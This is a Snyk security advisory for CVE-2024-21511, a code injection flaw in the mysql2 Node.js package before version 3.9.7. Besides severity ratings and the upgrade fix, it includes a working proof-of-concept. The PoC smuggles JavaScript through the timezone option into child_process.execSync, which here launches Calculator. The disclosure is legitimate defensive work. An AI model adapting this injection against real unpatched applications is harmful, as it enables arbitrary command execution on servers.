Arbitrary Code Injection Affecting mysql2 package, versions <3.9.7
Snyk CVSS
Attack Complexity
Low
Confidentiality
High
Integrity
High
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.05% (15th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-MYSQL2-6670046
- published 22 Apr 2024
- disclosed 21 Apr 2024
- credit zhaoyudi (Nebulalab)
Introduced: 21 Apr 2024
New CVE-2024-21511 Open this link in a new tabHow to fix?
Upgrade mysql2 to version 3.9.7 or higher.
Overview
mysql2 is a mostly API compatible with mysqljs and supports majority of features.
Affected versions of this package are vulnerable to Arbitrary Code Injection due to improper sanitization of the timezone parameter in the readCodeFor function by calling a native MySQL Server date/time function.
PoC
const mysql = require('mysql2');
const connection = mysql.createConnection({
host: '127.0.0.1',
user: 'root',
database: 'test',
password: '123456',
});
let query_data = {
sql: `SELECT CURDATE();`,
timezone:
"');''.constructor.constructor('return process')().mainModule.require('child_process').execSync('open /System/Applications/Calculator.app');console.log('",
};
connection.query(query_data, (err, results) => {
if (err) throw err;
console.log(results);
});
connection.end();